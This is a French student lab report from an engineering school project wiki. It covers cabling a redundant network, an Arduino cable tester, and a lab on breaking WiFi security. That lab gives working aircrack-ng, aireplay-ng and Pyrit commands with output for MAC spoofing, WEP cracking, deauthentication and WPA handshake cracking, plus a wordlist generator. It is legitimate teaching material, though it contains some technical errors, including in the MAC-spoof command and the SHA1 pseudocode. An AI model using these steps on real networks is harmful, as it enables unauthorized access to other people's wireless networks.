PRA 2015 - Câblage d'un réseau redondant

De Wiki de Projets IMA

Introduction

Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.

Câblage du résau

Le réseau idéal

Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.

PRA15 - Réseau Idéal.png

Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.

L'avancement du cablage du réseau

L'image suivante détaille l'état du réseau avant le 07/10/2015.

PRA15 - Réseau Temporaire.png

Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.

La partie commune

Les tests de sécurisation de réseaux WiFi

Accès par filtrage MAC

Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.

La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.

airodump-ng start wlan0

Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"

airodump-ng --essid baguette wlan0mon

CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette

On spécifie alors le canal et le BSSID à utiliser pour plus de précision.

airodump-ng --essid baguette wlan0mon

CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               

BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1

Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.

ifconfig wlan1 hw ether C4:14:3C:40:78:60

Accès par filtrage WEP

Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.

#airmon-ng 
PHY	Interface	Driver		Chipset

phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]

#airmon-ng start wlan3
PHY	Interface	Driver		Chipset

phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)
		(mac80211 station mode vif disabled for [phy1]wlan3)

L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.

#airodump-ng wlan3mon
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         
                                                                                                                                                                                                     
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           
                                                                                                                                                                                                      
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            
                                                                                                                                                                                                      
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93

Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID

#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07

Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.

#aircrack-ng *.cap
Opening dmp-01.cap
Read 110082 packets.

   #  BSSID              ESSID                     Encryption

   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)

Choosing first network as target.

Opening dmp-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 6258 ivs.

Ensuite, nous générons plus de flux à l'aide de aireplay.

#aireplay-ng -5 -e cracotte07 wlan3mon
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7
Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07".
12:02:11  Waiting for a data packet...


        Size: 70, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  00:23:5E:1E:05:46
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:0F:B5:92:23:69

        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5
        0x0040:  b7bd 03c5 5093                           ....P.

Use this packet ? y

Saving chosen packet in replay_src-1112-120211.cap
12:02:13  Data packet found!
12:02:13  Sending fragmented packet

Et enfin, aircrack trouve la clé.

                                                                                            Aircrack-ng 1.2 rc2


                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)

   KB    depth   byte(vote)
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) 
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) 
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) 
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) 
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) 

     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] 
	Decrypted correctly: 100%

Accès par filtrage WPA

L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.

#!/usr/bin/perl
my $ite = 0;
my $max = 1000000;
my $outp;
my $tmp;
for (my $j=0; $j < 100; $j++)
{
    $tmp = sprintf("[%02d]\n", $j);                                                                                                                                                               
    print STDERR $tmp;
    for (my $i=0; $i < ($max); $i++)
    {
        $outp = sprintf("%08d\n", $ite);
        $ite++;
        print $outp;
    }
}

Nous lançons donc la génération avec la commande

# ./gen.pl > dic.txt

Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.

859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt

Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".

# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1

Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.

# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1

Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.

# aircrack-ng *.cap
Opening dmp-01.cap
Read 2370 packets.
   #  BSSID              ESSID                     Encryption

   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)
Attaque par dictionnaire

A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.

# aircrack-ng -w dico.txt *.cap
                                 Aircrack-ng 1.2 beta3
                   [00:58:30] 12121212 keys tested (3659.24 k/s)
                           KEY FOUND! [ 12121212 ]
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE

Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.

Attaque par Rainbow Tables

Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.

# pyrit -e 'Almost Secure WiFI' create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Created ESSID 'Almost Secure WiFI'

Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.

# pyrit -i ./dic.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
100000000 lines read. Flushing buffers... ..
All done.

Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.

# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Working on ESSID 'Almost Secure WiFI'
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.

On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.

# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (25147.5 PMKs/s)... \

Computed 25147.53 PMKs/s total.
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)

Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.

# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Working on ESSID 'Almost Secure WiFI'
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.

Maintenant que la "rainbow table" est générée, nous lançons l'attaque.

# pyrit -r *.cap attack_batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Parsing file 'dmp-01.cap' (1/1)...
Parsed 270 packets (270 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.
Attacking handshake with station 00:0c:e7:41:68:29
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second

The password is '12121212'.

Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.

Algorithme de génération de PMK

Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.

PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)

La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le RFC 2898 de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:

  • [PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
  • [PASSWORD] Le mot de passe
  • [SALT] Le salage (ici l'ESSID)
  • [COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
  • [LEN] La longueur du résultat de la fonction (ici 256)

La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.

PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount

Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.

U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))
U2 = PRF(PASSWORD, U1)
...
Uc = PRF(PASSWORD, Ucount-1)

Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le RFC 2104 de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:

  • [KEY] la clé utilisée pour encoder le message
  • [MSG] le message à encoder
  • [H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
  • [HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)

Le principe de fonctionnement est le suivant:

function HMAC(KEY, MSG, H, HLEN)
    if(length(KEY) > HLEN)
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H
    if(length(KEY) < HLEN)
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))

    opad_key = (opad * HLEN) ^ KEY;
    ipad_key = (ipad * HLEN) ^ KEY;

    return H(opad_key || H(ipad_key || MSG)

Dans cette fonction:

  • L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
  • L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
  • L'opérateur ^ désigne l'opérateur XOR logique
  • La variable opad est une constance valant 0x5C
  • La variable ipad est une constance valant 0x36

Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.

function SHA1(PASS)
    h0 = 0x67452301
    h1 = 0xEFCDAB89
    h2 = 0x98BADCFE
    h3 = 0x10325476
    h4 = 0xC3D2E1F0
    ml = message length in bits (always a multiple of the number of bits in a character).

    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.
    append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.

    break message into 512-bit chunks
    for each chunk
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15

        //Extend the sixteen 32-bit words into eighty 32-bit words:
        for i from 16 to 79
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1

        //Initialize hash value for this chunk:
        a = h0
        b = h1
        c = h2
        d = h3
        e = h4

        //Main loop
        for i from 0 to 79
            if 0 ≤ i ≤ 19 then
                f = (b and c) or ((not b) and d)
                k = 0x5A827999
            else if 20 ≤ i ≤ 39
                f = b xor c xor d
                k = 0x6ED9EBA1
            else if 40 ≤ i ≤ 59
                f = (b and c) or (b and d) or (c and d) 
                k = 0x8F1BBCDC
            else if 60 ≤ i ≤ 79
                f = b xor c xor d
                k = 0xCA62C1D6

            temp = (a leftrotate 5) + f + e + k + w[i]
            e = d
            d = c
            c = b leftrotate 30
            b = a
            a = temp

            //Add this chunk's hash to result so far:
            h0 = h0 + a
            h1 = h1 + b 
            h2 = h2 + c
            h3 = h3 + d
            h4 = h4 + e

            //Produce the final hash value (big-endian) as a 160 bit number:
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4

La partie bonus

Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un CiscoChecker permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.

Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.

Utilisation de l'écran LCD

Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.

Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.

Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX.

Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.

Voici à quoi ressemble une de nos lettres :

const char	letter_A[] PROGMEM = {
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};

Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.

Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.

Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.

Communication avec le matériel Cisco

Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.